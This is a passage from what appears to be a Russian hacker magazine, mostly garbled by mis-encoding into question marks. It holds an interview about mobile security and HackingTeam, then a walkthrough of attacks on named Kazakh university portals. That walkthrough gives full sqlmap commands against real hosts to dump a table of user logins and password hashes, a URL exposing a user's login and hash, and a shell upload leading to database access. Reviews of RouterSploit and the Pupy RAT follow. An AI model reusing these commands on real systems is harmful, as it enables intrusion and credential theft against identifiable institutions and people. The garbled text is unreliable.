?а?????????????? ?????????? VICE News ????? ??????? ?а???????????????, ??????? ????????? ?? ?????? ?????????? ??????? ???????. ??а???????
???? ??а??????? ??? ?????????? ???? ??????????? ??????? ???????, ??????????????? ???а?????????? ??а?????????????. ?а????? ??????? ?а??????????
?а????? ????? ??????? ?а???.
?а??? ?????, ????????????? ??????????
? ????? ???? ?а??????????. ?????? ??? ????? ????? ???????????? ???? ?а???????? ????? ?, ????? ??????? ??? ???????????, ????? ???? ?????????????
?????? ??????. ?????? ????? ?????????? ??а???????? ???????? ?а???????.
????? ???????? ?а?????? ?а?????? ?а???.
???а?????????? ????? ?а?????????????? ????????? ?????????????
? ?????? ??? MITM. ????????? ???: ?????? ? ????? ????? ?????????? ???
???? ????? ? ?????-?? ???????. ? ???????, ????? ?????? ???????????? ?????
??????? ?????????? ??? ???? ?????, ??????? ????????? ? ?????????. ??? ????? ??????????? ???????? ????? ????????????? ? ????????????? ?????? ????????? ???? ????? ??????. ?????? ??????? ? ????? ??????????????? ?????
????? ????? ????????? ? ??????? ??????, ? ??? ????? ? ?????????? ? ??????????. ????? ????? ????? ????????? ????? ???? MITM, ????????? ??? ??????,
????????????? ?????????? ? ??? ?????.
????? ??????? ?????????? Check Point ???а?????? ???????? ??а?????????
??????
? ?? ??а??????? ????? ???????? ???????? ????????????? ????????, ??а?а???
???? ?а???????????? ???????. ?? ??а???????? ???????? ????????????? ?
??? ????? ?????? ?????? ?а????? BlackBerry, ?? ????? ???????? л???????? ??????????╗. ?? ?????? ??? ??а????? ??????. ??а?а???????? ????? ?????? ?????????? ??????????? ????? ?????? ????? ???????????? ???????? ????????
?а?????????????: ?? ???? ???????????? ??а?????? ?????? ???????????? ?????????. ??? ??????? ?????? ????????????, ??? ?????? ??????? ??-???????? ??????, ???????????? ????? ???????? iPhone ??? ????? ??????? ?аAndroid
?а??а???????? ??? ???????????? ??а??? ???, ???? ??а???????? ???-?? ??????.
?а??? ???? ??? ???????. ???? ??а????? ???? ???????? ??а???????, ?а????????????? ?????? ??а???????????? ????????. ???а? ??? ???????, ????????????
?????? ?????? ????, ??????? ??? ?????? ??а??????: ?????? ???????? ?а?????, ????????? ????????????? ????? ?а?????? ??????????, ?????? ?????????
????? Dropbox ??? ???? ??аWhatsApp, ?? ?а??? ?????. ????? ???????? ??????,
?? ?????????? ??????? ??? ????????? Capsule Workspace. ???, ??а????, ?????????? ????????? ???а?????????????? ?????????. ????????????? ????? ??????? ?а?????? ???????? ?????? ?а??????? ??????????.
???-?? ????? ??????????? ?????????????? Dropbox?
? ??, ?а?????? ????? ??? ????????? ?????. ????? ?а????????????? ?????,
?а????????????? ??????????а? ?а???????, ????? ??? ??? ??????? ?а??????
????, ????????? ?а?????????. ?а????? ?????? ????? ??? ??а???? ??????????
????.
???а??????, ?а????? ??????? ???????????? Capsule, ?а????? ??????? ???????????
? ??????????????, ??? ??а???????? ?а???? ???а???? ??? ??????? ?а????????????? ????? ?а??????. ?а???? ??, ????? ?? ????????? ???? ??а????-?? ??а??????, ?? ??? ??а?????? ????? ?а???????? ??? ?аDropbox, ??????. ????? ???????? ????? ????????????? ?а????????????? ?????? ???а?????? ??????????
???????. ??а????? ???????а? ??? ????????? ???????????. ???? ???? ?????????? ???????, ????????????? ????? ???????? ??????? ?????? ?????????????
??????. ?????????? ???? ????? ?????? ??а?????????? ?а???? ?????????? ?????? ???? ???????????? ?а???????? ???????, ??? ????????.
?а??? ???????? ?а????????
? ?а??????? ????, ?, ???? ?????????? ??????? ??а????????? ?а?????????,
?????????? ??? ????? ??а???? ??????? ?а?????? ????? ????????????? ?????
??????? ?????? ?????? ??? ???????????????? ????????? ??????. ?а??а????????? ????????????? ????? ?а???? ??????, ??????,а? ??? ???? ????????, ????
??а???????????? ?????????? ?а??а????? ?а?????????? ???????. ?а?????, ???
???????? ???????? ?????? ??а?????? ????????????. ?????? ??????а?а???
?????? ???????? ??а??????????? ??????????, ?????????? ?а???????????? ????. ???а????? ?а??? ???? ??????? ??? ????????? Check Point Mobile
Threat Prevention. ??? ?????????? ????????? ???????????? ??????????, ???
??? ?????? ????????????? ?????????? ?а?????? ????, ?а??????? ??????????? ???????, ????? ????????? ??а??????? ????????. ?а?????? ???? ?? ??????
??????????, ??? ??????? ????????, ?а???????????? ????????????. ?а???а?????? ?????????? ?аCapsule Workspace ?а??????? MAM-????????? [Mobile
Application Management] ????? AirWatch ??? MobileIron ?? ????? ????????????? ?????? ?а????????????? ?????? ?а???????????? ????????.
?????????, ???а??? ???????? ?а???????? ????????????.
? ??? ???????????? ????????? ?????? ????????. ??, ???????, ??а????? ??????????? ?????????? ??а????? ??????????. ???? ?а??????? ????? ?????????
?????? ?????????? ?а??????????? ????? ??????????? ??????. ????? ??
??????? ???? ?а???????, ????????????? ?? ?? ??? ????? ????. ???? ???, ???????? ??????? ?????? ?????? ??аApp Store ??? Google Play. ???? ?а??? ??а??????? ????? ??????????, ?? ??аAndroid ?? ????? ????????? ?а?????? ??????????? ???? ?а??????????. ??????? ????????, ?? ????????? ??? ????? ?????????,
????? ????? ???????? ????? (? ??? ?а?????? ???????? ????????? Android) ?а??????? ?а?????????????? ?????????, ??? ????? ?????? ??????????. ??? ????
????????? ???????? ??????????? ?????? ???? ?а?????????? ????? ?????????
????????. ?????? ????? ??????? ???? ?????????? ?а???? ?????, ??????? ??
???????? ??а????? ???? ????? ThreatCloud.
????????? ????????, ????? ????? ?????? ??????????? ????????? ?а?????
???? ?????? ?? ???????? ?????????? ?а???????? ????????? ?а????. ????? ?????, ??? ???? ???????? ????? ?????????, ??а?????-?? ????? ?????? ????????
??а??????? ????????? ?а?????, ?????????? ??? ????????? ??????? ????. ???
?????????????? ?????? ??????? ???. ?а?????, ??????? ???????а? ????????
??????? ????? ????????, ??????? ???????? ????????????? ??????????? ??????????? ?????????. ????????? ?а?????????? ??а????????? ?а??? ??????, ????
?? ??????? ???????.
???а?? ???????, ?а????? ??? ??? ???????????????? ??????? ??????????
?а?????????? ???????? ???, ???? ???????? ????? ????????? ????????????,
???????? ???????? ?????????? ????????????? ????????, ?а?????? ???????
???????? ???-?????? ???а??????
? ? ?????, ??????, ????? ???????? ????? ???????? ?????????? ????????,
??? ??????. ?????? ???????????, ??????? ????? ????-?? ??????? ?а?????????
??? ????, ?????? ????? ?????????, ????????? ?а?????????? ????????????, ?????? ??? ?а???? ??????????? ??? ????. ???? ?????-?? ????? ????? ??а??????, ??
?? ?????????? ??а?????? ?????? ?????? ??? ?а????? ??????, ??а?????? ????????
??а??????? ???????? ?а????? ?????? ?а???????? ?????? ?а??????-??????????? ?а??? ???? ????. ??а????, ??? ??? ????? ???????? ???????????, ??а???а???????? ??? ?????? ??? ?а???а??? ????????, ???а??? ????? ????, ???а??? ??????????????? ?а????????? ?а????????????? ??????. ??? ???, ???? ??-???????????
??а????? ????????? ??? ??????, ?? ?????????? ???????.
???????? ???а??????? ???????????? ??? ??а???????????? ??????? ?????????? ?аWindows ???????? ??? ?????.
? ??????. ?а?????? ?????? ?а???, ???а???? ?а???????. ?????? ??? ?????, ???????, ???? ??????????? ????????? ?????? ???, ??? ??? ????????, ??а??????????? ??а??? ??а???????? ???????? ??? ???? ????????? ???????. ????
??а??????????? ?аWindows ???? ??а?????? ??а????? ?????, ??? ??????. ????? ????????, ??????? ??????? ??????? ???? ???а???????. ?а???? ?????? ????? ??????????, ???????, ????????? ?????? ???????? ????????????,а? ??????
???????? ?????, ??????? ???????? ?а???????. ????? ? ??????? ?а???????????
?????? ??а???? ?????????? ?????? ?а????. ?? ?????? ??а????????????а? ???
????????? ???????? ?а???. ?а??? ???? ??????? ???? ????????? ???????????,
??? ????? ??? ?????? ????????? ?????????-??????? ??а???? ??????? ?а?????????, ??а???????? ?? ?? ???????. ?а??? ???? ????? ????? ????, ??????? ???????????, ???а??? ??? ????????? ???????? ??????????? ???????. ?? ?а????
???????: л???а???????, ??????? ?а???? ?????????? ?а??????╗ ?а???, ??????,
250 ????? ??????????? ?а????????. ? ??????: л??а????. ??????? ????????╗
?а?? ???????: л???! ??а??? ?а??? ???? ??а????, ???????╗
????????? ?а?а????? ??????? ???????? ??????????????
? ??а????, ??? ?? ????? ???? ?а????, ??а???? ????????????, ??? ?????????????, ??????? ??????? ??????? ???????. ??????????? ?а?????? ???????, ? ????
???????, ??? ???? ??????? ??? ??????? ????? ??????????? ?а????? ????????
????????? ???????????? ????????? ??????????, ???????? ?????. ???? ????
???????, ??????? ??????? ?????, ??????, ????? ?????? ????????? ??????.
????????, ???а?? ???? ???????? ?аCheck Point. ? ????, ??? ?а???? ???? ????
?????а? ???????, ????????? ?а??????? ?????????? ??а????????? ???????????. ? ?? ????? ???????? ??? ??????? ???????????.
? ?? ????? ??? ???????? ?а???? ????????? ??а???????, ?? ???????? ????
CTO. ????????? ????? ???? ?????????????????? ???????????, ?????????????
?а????????, ??????? ?а???? ????????????. ????? ??? ????????? ?????? ?????
????????? ???а????????? ?????????? ???????, ?а??????? ?? ?а????? ???????? ?а??????. ?а2011 ???? ?? ???????, ??? ???????? ??????? ??-??? ????????:
????? ???? HackingTeam, ??, ??? ??? ??????,а? ??? ??????????? ???а?????????
??????? ?????? ???, ??? ?????? ??????. ?? ??????, ??? ????????? ????????
?????????? ??аAPT ?а??а????? ?????? ?????, ????????? ?а?????????? ????????????. ??? ??? ?????? ????????? ?????? ???? ???????. ?? ???? ??а????????, ?а??????? ????????, ?а???????? Lacoon, ??????? ?а????? Check Point.
Lacoon ???? ???????? ?а????? 2011-??, ?а?????? ??? ????? ??? ?????, ?а2015
????. ??????????, ???? ??????? ?а????? ?а?????? Check Point Mobile Threat
Prevention, ??? ??????? ? ???????????.
?? ???? ?? ??????? ?а?????????? ?????????? ??а????, ???а??а??? ???? ???????????
? ??, ? ????? ?а2001 ????. ???????????? ??????????? ????? ???? л??????╗.
?а?????? ????? ??????????? ??а??а?????????? ??аJava, ??????
? ?? ??????-?? ??????? ??????? ??????????? ?????????? ??аJ2ME ????.
??а?????, ???????, ???? ??????. ?а??? ??? ????? ?????? ?????????: ?а?????????? ???????????? ?????? ??а????????? ??????????? ??????? ??????
??а?????????? ?????? ??, ??? ??? ?????? ?????????? ??? ?????. ?????? ??????????? ??? ?? ?? ??????? ????? ?а????????? ????? ??????? ????? ????????.
?а2011 ???? ??аCCC ????????, ???а??????????? ??а??????? ?а???????? ??????
?????????. ??а??? ??????? ??????, ?а???? ????? ??????????? ?????? ??а????????, ?? ?? ??а?????????. ????? ????? ?????????? ??????? ?????. ????? ????
?? ?? HackingTeam, ??????? ?????????? ???????? ??????? ???а????????????
??????. ???????? ?????а?????????????а? ????? ????????? ??а????????????? ??????: ???????????, ????????????, ????????????. ?а???? ?аHackingTeam
?????????? ???? ?????????? ??????? ??а?????? ??????, ?а????? ?????? ???
??????? ?а??????????, ?????? ?????? ???аAndroid, ???? ???аiOS ?а?????????
???а?????????, ??????? ?а????? ??? ????? ?????? ??????????. ?а???? ?????
?????? HackingTeam, ?? ???, ??? ????? ????, ?????? ????? ?? ?? ?????. ????
?? ??? ????? ?????? ?????, ?? ?? ???????? ????????????? ??????? ????????? ???а?????? ?????? Android, ?а?? ???? ??????. ???? ?????????????????? ?????? ????? ????? ????????, ?а????? ????????, ??? ?а???? ??а?? ??????
??-?? ??????? ?????? ????????, ??... ???. ?а?????, ??????-?????????? ??????
??а?а????? ??-?? ?????????? ????????????????.
???????, ????? ?????????????. ??????, ?????? ? ??а??? ??? ??????????
?????????? ?а????????? ??? ????????? CIA, ??????? ?????? ?????? ??????
?а????? ??аAOL.
? ?-??-??! ?? ??, ???, ???????, ??????? ??????!
?????
??????
??а?????????
???а???????? ????????????,
??а?????? ??а????
??????, %USERNAME%! ??? ?????? ????????? ????,
???а???????? ??????????? ?а??????? ???????? ???а??????????? ?а???????? ???, ??а??????? ???????. ?? ??????
????????????? ???????????? ?????????????????? ?????????????? ??????? (???), ??????? ???????? ?????????? ??а???????? ???????????, ?????????? ?????????,
??????? ????????? ??????? ?а?????? ????????????????
??????. ?а???? ???? ??? ????????? ????????????? ???????? ??а???-?????????? ??????????????? ???.
???? ????? ???
?????? ?а????? ?????? ????? ??????????? ???????????? ??????????? ??.а?.а?.
????????.
?????? ?а?????????????? ???????? ?а?????????, ??? ???????? ??а??????????????? ????? ?а?????????????? ???. ??? ???????? ?а???аPlatonus. ??????
????? ??????????? ??а????? ????????? ???????????, ?а???а??????? ??????
?????????? ??????? ?????? ???????? (? ???, ???а?? ????????, ? ???????? ????),
??????? ?а??? ??а??????? ??? (???? ??????? ?????? ??а????? ????????????, ????? ??а????????? ?а?????). ?????? ????? ?????????????? ???????? ???? ??а??????? ??????????. ???а????? ????????? ?а?????? ??????? pentest-tools.com
(??. ???. 1).
???. 1. ???????
??????????
???????
?????????? ?????, ????????????? ??а??????????, ????????????, ??? ???????? http://service.enu.kz/ ????? ????? ???????????, ??????? ??????????
?????? ?а?????? ??а???аPlatonus (???. 2).
???. 2.
???? ???????
????? ???????????
?????????? ?а???????????????? ??????? ????? (???-??????????), ???????????? ??а?????? ?????????. ?????? ?????, ???а???????? ?????????????, ?????
??????????? input-????? ??а??????? ?????????? ?а????????? ???????????.
?а????? ????????????, ??? ??а?????? https://service.enu.kz/portal/
page_dictonary.php ????? ?????? ????????? ?????????? DOM SELF XSS ?????. ?????? XSSа? ??? ??а?????, ???????? ???? ??? SELF (???. 3).
???. 3. ????????
XSS-??????????
???????? ?????????????? ???????? ????????? SQLi, ????????? ?а????-??????? auth.php (???. 4).
???. 4. ?????
???????????
?????????? ???? ?????? ?а????? ?????? ??а?????? https://service.enu.kz/
portal/page_login.php ??????????? ??????? (1234'), ????? ??????? ??????
?аSQL-??????? (???. 5).
???. 5.
SQL-??????
???????????? ????????
???а???? ????? ????????? ???? ?????? ?а??а???????????? ???????? ???????,
????????? ?а???????? ??????? ???????????а? sqlmap.py, ??????? ???????
??а??? ??? ?????? ??????.
???. 6. ????? SQL-????????
????????? ??????? ???????? ??? ???????? ?????? ????????? ??? ??????:
sqlmap.py ?u "http://service.enu.kz/portal/auth.php"
--data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0"
-p "role" --level=5 --risk=2 --dbs
???. 7. ??????
????????? ???
??????
??????, ???? skdа? ??? ???? ??????? ???????? ???????, ??а??? ????? ???? ??????, ?а????? ????? ??????? ?????? ?а??????????? ?а????? ???????, ???, ????????? ???????, ??????? ????? ??? ???????? ??а???????
????????. ?????????, ??а??? ???? ??????? ??????...
????????? ?????????? ??????? ?а???? ??????
??? ????????? service. ???а????? ???????? sqlmap
??а?????????? ???????????:
sqlmap.py -u "http://service.enu.kz/portal/
auth.php" --data="btn_enter=1&login=1234
&password=1234&role=ienu&secfield=0"
-p "role" --level=5 --risk=2 -D service
--tables
?а???????? ?а????? ?????? ?????? (???. 8).
?????? ???????? ?????????? ??????? auth: ???-??
????????????, ??? ??? ????? ????? ??????, ?????????
?а????????????. ???????? sqlmap ??а????????????
?????????? ??а???? ???????:
???. 8. ??????
????????? ??????
??а???? service
sqlmap.py -u "http://service.enu.kz/portal/
auth.php" --data="btn_enter=1&login=1234
&password=1234&role=ienu&secfield=0"
-p "role" --level=5 --risk=2 -D service -T auth --columns
???, ???? ??а???????? ???????, ????? ????????????? ???????? ?????? ?а?????? (???. 9).
???. 9. ????????? ??????? auth
???????? ?????? ?? ??????? (???. 10). ????????? ??????? ?а????? ?????? ???
????? 173 ????? ?????? ??а??????????? ?????????????:
sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data=
"btn_enter=1& login= 1234&password=1234&role=ienu&secfield=0"
-p "role" --level=5 --risk=2 -D service -T auth -C id,
user_login,user_password,auth_dt --dump
???. 10. ????????? ??????? ?????? ?????? ?????? ?а??????
???????? ?????? ???????????? ??????, ?????????????, ??????, ??????????
MD5. ???а????? ????????? ?а????????????? ???????? ?а???????? ??а??????????? ?????. ?а????? ?а??? ???????? ??? ?????????? ???? ?????? ?????????????.
???????? ??????
?????? ???? ?????? ??????? ?а????????? ??????????????? ?????????????????? ?????? (???) ????????????. ?????????? ?а???? ??????? ??а?????????,
????????? ??? ?????? http://service.enu.kz/ ????????????? ????? ???????????. ??????????????? ??а?????, ?а?????? ???????? ???????????? ???????
????? ??? (???. 11).
???. 11.
?????????
??? ????????
????????
??????? ????? ?? ??????? ?????? ?????????????? nurzhanov_eb, ?? ?????
??????? ?аPlatonus ???а?????? ??? ??????, ?????? ?а???. ?????? ?????????????? nurzhanov_ebа? ???????? ?????? ?а?????? ???? ????????????? (??????????????, ???????? ?а????????? ?????????). ??? ????? ?? ????? ?????? ?а?????? ???????????? ??????? ?а?????.
???. 12. ???????
??????????????
Platonus
???????????? ???????????а? ????????????? ??а????? ?????? ????????????,
???? ?? ??? ????? ????????, ????? ???? ????????????? ????? ?а?????? ??????
(???. 14).
???. 13. ?????
??????
???. 14. ?????
?а?????? ??????
GODMODE ON
?а????? ?? ????? ??????? ????? ?а?????? ?????? ???????????? ?а????????
?????? ?а?????? ?????? ????????? ?а?? ????????. ??????????, ??а???? ?????
???? ?? ????????? ??????? ??а??????? ??????? ????????????, ??а???? ????????? ??????????. ???а??????????? ?а???ал????????╗ ???????? ???????????
???? ?а???????? ????????? ?????? ?а??????? ??а???? ?????? (???. 15).
???. 15.
???????????
????
?????????????
??????, ??????? ?????????????? ???????????? ??а????? anketa2.enu.kz, ???????? ????????? ?????? ?а?????? ?а????? ???????????, ??? ????? ????????
??????? ?????? ?а???????????????? ??????:
http://anketa2.enu.kz/auth.php?login=makhambetov_ab&password=
688a469b584aead68736aa133861f2af&secfield=1&role=ienu
??? ???а????? ??? ??? ????????, ???????? ???????????? ??????. ???а?????
?????????? ???? hashkiller.co.uk. ????????? ??а???????? ???? ?????, ?а?? ???????? ?????? ??а???????? Platonus (???. 16).
???. 16.
?????????
???????????
???? ??????
???? ?????????? ??а???????, ?? ??? ?????? ??а????? ?????, ??? ???а?а?????
?????? ??? ????? ???????? ????????. ??????, ?????????????? ???? ???????????? ?????????? ?????????.
???????????, ????????, ??????? ???????? ??????????????? ????????
?а?????????????. ??????? ????? ?????????? ????????????? ???? ??????а?
????????? ?????? ???? ??????. ????? ???????? ??????????? ??????.
???? ????? ???
?а?????? ????? ?????????? ???????????????? ?????? ???????????????
?????? ?????????????, ??????? ???????? ?а????, ??? ??????????????? ????
??а????????? ??????????? ?????? ?а?????? ???????, ????? ???????? ??????
?????? ?а???? ?????? ???.
???? ????а? ?????? ?????? ?а???? ?????? ?????????? ????????????????
???????????? ??. ?. ??????????. ???????? ???? ????????????: http://
kazatu.kz. ???? ???а??а?????????: http://platonus.kazatu.kz/. ????? ?????????? ????? ???????????? ?????? http://portal.kazatu.kz/ (???. 17).
???. 17. ??????????????? ??????
?????????? ?а???????????????? ??????? ???????. ????????, ??? ??а???????
???? ?????? ??а?????? ????. ?????????? ???????? ???ал???????? ????????╗.
????????? ????.
?
???. 18. ???? ???????? ????????
?????? ???????? ?????????? ??????? л????????? ???????????╗, ??? ???а?????? ??а???????? ????????? ???? ??????????? ???????? ?????. ???? ??????????? ??а??????????? ?а???, ????? ????????? ??????? ?????? ?а????????????
????????????, ?? ??? ???????? ?а????????? ???????????.
?
???. 19. ????? ??????? ??????, shell
?????? ??????????? ???? ?а???, ???а????? ??????, ???? ?????????? ?????. ?????????? ????????? ?????????: ??????? ???????? ??????, ?????????, ???????,
?а????? ???????????? ?а????? ??????? ?????а? ?????????????????? ???????? ?аGoogle (???. 20).
???. 20. ????????? ?????? ?????????????????? ????????
????? ???????? ???????? ?? ?????? ??? ????????????? ??????? http://
portal.kazatu.kz/abit/foto.
???. 21. ??????? ??????
?????????? ???????
??? ????????
???????????????? ?????? ??????????????а? ??????? ??????? ??????
?а??а?????? ?????? ??а?????????????? ?????????? ?????????. ??-?? ????? ??
????? ??????? ??? ?????, ?????????? ?а????? ?а??????????. ????? ???????
?а??????? ???? ????.
???. 22. Shell ??????? ?????? ?а????? ?? ?а???????
?????? ?а????? ???????????? ??? ????? ??а??????? ??а??????????? ???,
?а??????? ??? ???????????? (SYSTEM) ??а????? ???????. ?????? ??????????
??????????, ?????????? ??а?????????? ???? con_bd.php, ?а??????? ????????
?????? ???а??????????? ?а?? (???. 23).
???. 23.
?????????
???????????
?а??
????????????? phpMyAdmin ?а?????? ???????? ???а??????????? ?а???? ????
??? ???????? ???????????. ????????? ?аphpMyAdmin ??а?????? http://
portal.kazatu.kz/abit/pma, ???????????? ???а?????? ??????? ????? ?????? ?а??????.
???????????????, ?? ???????? ?????? ?????? ??а???? ????? ?????? ???????, ?????? ?????? л?????????╗, ??? ??????? ???????? ?????????????.
???. 24.
???????? ????
л????????╗
???. 25. ???????
?а???????????
?а??????????????
??????? ????? ??а????????????????? ??????
?????? ?????? ?????????????? ??????????? ????? ??а??а??? ???????,
?а??а???????????? ???????????, ??????????????? ?????????? ?а???. ???а??????? ???? ? ?????? ????????? bruteforce, phishing ?аMITM-????? ?а?????????
????? ????????????. ????? ??а????? ????????????? ??????? ?????????? ?????????.
Bruteforce
????????а? ????? ?????? ?а?????? ?????? ????? ???????? ???? ????????????
????????? ?????????.
???????????? ???????????? ???????? ?а???а???????? ???????? ??? ????? ??? ??????????? ??а?????????? ??????? ???????????. ? ???????? ????????????, ??? ?????? ???? ?????????????? ???????? ??а??????? ????, ???????
??? ??а????? ???? ????????. ????? ??????? ??????, ????? ?????? ?????????
??а??? ??????. ??????, ????????? ?????? ???? ?????? ?а???, ??? ????? ?????? ????? ?????? ?????? ??????????? ?а??????????? ???????? ?????? ?????
????????? ?????????. ?а????? ???????? ??????, ????????????? ?????? ???????? ????????? ?????????? ?а???????? ?????. ??????? ?????? ?????????????,
??????? ??????? ??????, ?????? ??а????????????? (? ????????, ??????, ???
??? ???????? ??????, ??????, ??? ?????? ???????????). ?????? ?????? ?????
???????????? ??а?????? ?????? ???????????????? ???????.
???. 26.
??????
???????
???????
??? ??????? ????????? ???????? ?а?????????? (???) ????????????-??????????? ???????????? ???????????? ??????? ??а???. ?????????? ???? ??????? ??????? ???а????? ??а???-??????, ????? ?????????? ??а???: THC Hydra, WBF.
Gold, Medusa.
Phishing
??????а? ???? ??а?????????????? ?????????? ?????????, ?????????? ??а???????? ?????????????? ????? ??????? ????????????. ?а?????????, ?????? ?????????? ??????? ????: ??????? ??а????????? ????? ?а????????? ????????
???? ??????? ??????, ?????? ?а??????.
????? ?????? ?????????? ???? ?????? ?а?????????????? ??????? ?а???????
??????????. ????? ? ????? ???????? ?а????????? ??а??????? ??????????? ?????????????? ??а?????????????? ?????????? ????. ?а?????? ????? ???? ??
???? ????????? ???? hosts, ????? URL ??? ?????????, ??а??а???????? ???????? ??а?????? ??????? ???????. ?????? ? ???? ?????? ?а???????? ?????????
?????? ??а????? ??????????? (???? ???? ?а???? ????????? ????????, ???? ?? ??
??????? ???????? ??????? ??????????).
???. 27.
??????
??????????
????????
MITM
?????? ?????? ????? ???????? ?????????? ?????? ????????????, ???????????? ???? ???? ???а?????? ?а???????? ????????? ?а???????????. ????? ????????????? ????? ?????????? ????? ?а??????????? ?????? ??????, ?????????? ??????. ?????? ?????????? ?а???????? ?а????????а? ???? ??а???? ??????? ????
?а?????? ?????. ??????, ???? ??а?????? IP ?????????? ?????? ?????????????,
???????? ???????, ???? ?????? ????????????? ????????????? ????.
??????
???а?? ???? ??????? ??а??????? ???? ??????, ??а???? ??????? ??а????????
??а100%, ?а??????????????? ?????????????????? ??????? ??а?????? ??????????? ??????????? ?????????. ??а???? ???? ????????? ?????????? ?????? ??, ?? ?????? ???????? ???????????? ??????. ? ??????, ??????????? ?????
?????? ????????? ?????????? ??а?????????????? ????????????.
????, ????????, ???????????? ????????????? ??? ??а????? ???????? ??
????? ????????, ??? ??? ??-???????? ????? ????? ???????????? ??????????
?а?????????????? ?а????????. ?? ?а???? ???? ??а??????? ????? ??????????,
?? ?????????? ????????? ?????? ??????? ??? ???? ?????, ??????? ?а??????.
???? ??, ????????? ????????? ?а??а?????? ??????? ;). ????????? ????????
?????????.
P. S.
????? ?????? ???? ????? ???? ????????? ??а???????????? ???а????? ??а??????????????. ??????? ???? ?а???, ??? ? ?????? ?????? ??????? ??????????
?????????. ????????, ????? ?? ?а??а????? ?а????????????, ?????? ??? ???????????? ????????? ??????????? ????????????, ??? ? ????? ??? ?а????????
(???????????? ?? ??? ???? ??????, ??? ??? ??? GPA ??????? ????????????).
??????, ???? ??а??? ??? ?????????? ???????? ????? ???? ??а??, ??? ?????? ??????? ?а??????? ??? ???? ???????????? ???. ??????? ??????, ??? ???-???? ???????, ?????? ????? ?а???????????? ????? ????????.
?????
??????? лD1g1╗ ?????????,
Digital Security
@evdokimovds
???? ??? ?????? ? ??????? ????????????
WARNING
????????! ??????????
????????????
????????????? ?а?????
????????????! ??а??????,
?? ???????? ?? ????
???????? ???????????????
?? ?????!
??????:
??????? ??????
URL:
github.com/eik00d/CANToolz
???????:
Windows / Linux / OS ?
??????????? ??????????
CANToolzа? ??? ????????? ???а??????? CAN-????
??????????. ?а??? ??????? ????? ??????? ?????????? ???? ?????????? ?, ????? ????, ?????????????? ?????????? ?????? ??????????. ??? ???????
?????????? ???а????????????? ????????????? л??????????╗ ???а????, ??? ?а?????? ???????, ???????
????????? ??????????? ?а?????????? ?????? ???????????????? ?????. ?а???? ???? ????????? ??????
???а?????? ?аCAN-????????, ??аCANToolzа? ???
????????? ????????? ?а???????? ???????? ?????, ?а???-???????????, ????????? ??????????
?а???????, ?? ???? ???-?? ????????? Burp Suit, ?????? ???аCAN-????. ?а??????? ???? ??????? ???????:
??????? ????, MITM, ???????????? ECU-?????????
?а??????. ??? ??? ??????? ????? ???????????
?а???????????? ??? ??????????? ????? (???? ??
??????? ?????? ?а???????).
???? ??а???????? ???????? ??????? ??????
?????? ??а????????? ???????? ??????? ????????? ?а?????? ???????? ?????? ??????????. ????????, ?? ????? ????????? ????????????????? ????????? ?????, ????????? ?????? CAN-?????????,
?а?а???? ??? ??????? ?????? CANToolz, ?а???????
???? (????? ????????? ?????? ????? sniff and replay)
????? ??????????? ??????, ?????????? ??а??????? ???????? ?а?????????????? ???????.
???а??????? ????????:
# python cantoolz.py -g w -c examples/
can_sniff.py
????? ????????? http://localhost:4444.
???а????????? ?????????? ????? Python 3.4
?аpySerial. ????? ???? ?????? ??? Python 2.7.
ROUTERSPLOIT
RouterSploitа? ??? ????????? ????????? ?а???????? ???????? ????? ??аPython, ?????????? ?????????? ??а???????????? ?????????? ???? ????????.
???а????????? ?????????? ???? ??????:
??????:
Reverse Shell Security
URL:
github.com/reverse-shell/
routersploit
???????:
Linux/Windows
# git clone https://github.com/reverseshell/routersploit
# cd routersploit
# pip install -r requirements.txt
??????? ?? ??а???? ????? ??????? ???а????????:
? exploitsа? ??????, ??????? ????????????? ??????????;
? credsа? ?????? ???а???????? ?????????????????? ?????? ??а???????? (FTP, SSH, Telnet, HTTP
basic auth, HTTP form auth, SNMP);
? scannersа? ?????? ???а???????? ???? ??а??????????.
????????? ???? ???а???????????? ??а????? ????????, ???а2Wire, Asmax, ASUS, Belkin, Cisco,
Comtrend, D-Link, Fortinet, Juniper, Linksys, NETGEAR,
Technicolor.
??????? ???????????? ?????? ???. ???? ???а??????????? ?а???? ???? ????????? ??а???????? D-Link,
?а?????? ?????? ???аautopwn.
?????? ???????? ?????????????????? ??????
???а??????? ??????? ????? ???????? ?а????? ????????
???????: ?а?????? ???????? ??????? ??а????????? ?а?а?????? ????????.
??? ????????? ?????? ?а???? Metasploit, ??? ???
??????????? ?аRouterSploit ??а???????? ?????.
??????:
Matt Hastings,
Ryan Kazanciyan
URL:
github.com/matthastings/
DSCompromised
???????:
Windows
??????:
n1nj4sec
URL:
github.com/n1nj4sec/pupy
???????:
Windows / Linux / OS ? /
Android
??????:
AlicanAkyol
URL:
github.com/AlicanAkyol/sems
???????:
Windows
DSCOMPROMISED
DSCompromisedа? ??? ????????? ??аPowerShell
???а?????????? ????????? ?а?? ????????? ?????
Windows Desired State Configuration (DSC). DSCа? ???
????? ?????????? ?аWindows Management Framework
4.0 (PowerShell ?????? 4), ????????????? ??а????????? ??а???????????? ???????? Windows ???????
?аServer 2012 R2 ?аWindows 8.1.
???? ???????, ?? DSCа? ??? ????? ?????????
?????????? ?????????????? ???аWindows, ??????? ??????????? ??аPowerShell ?а?????????? ??????????? Managed Object Format (MOF) ?????.
???а???? ??? ????????????? ?аActive Directory (? ??????? ??аSCCM). ???-?? ?????? ????????? ??????
??аPuppet ?аChefа? ???? ??? ?а??а???????? ??, ?, ??????, ?????????.
?????? ????????? ?????: ????????? ?а?????????
????? ?а??????????, ????????? ????????, ????????? ???????, ????????? ?????????????, ?????????
?????????, ????????????? ??а?а????? ???? ???.
DSCompromised ???а??? ????????? ???????????? ??? ??? ???а??????????? ??а??????? ????? ??
??????? ?а????????? ??? ???а?????? ???????????
???????.
??????? ?????????? ??? ??????????? ??а??????????? Black Hat Asia 2016, ?а????????? ?а??? ????? ?????? ??а??????? DSCompromised: A Windows
DSC Attack Framework (pdf).
??????????????????? RAT
Pupyа? ??? ?????? ?а???????? ???????? ?????,
?????????????? ??????? ????? ????????????
??????, ??а?????????? ??????????????? Python,
??? ????????? ???????????? ??? ?????? ???а???????? Python-??????? ??а?????? ?а????????? ????????
?????? ?аPython-????????. ????????? ????? ???????????? ??????? ??а????????? ???????????
?а????? ??????? ?????????? ?????????? ???????.
???а?????? ??а??аWindows ?????????? ??????????
reflective DLL injection ?а??а????????? ??????? ??????
??а?????.
??????:
? ?
??????? ??а???????? ?а??????? (????? x86 ->
x64 ?аx64 -> x86);
? ?????????? ??????;
? ?
???????????? ???? (cmd, /bin/sh, /bin/bash, ...);
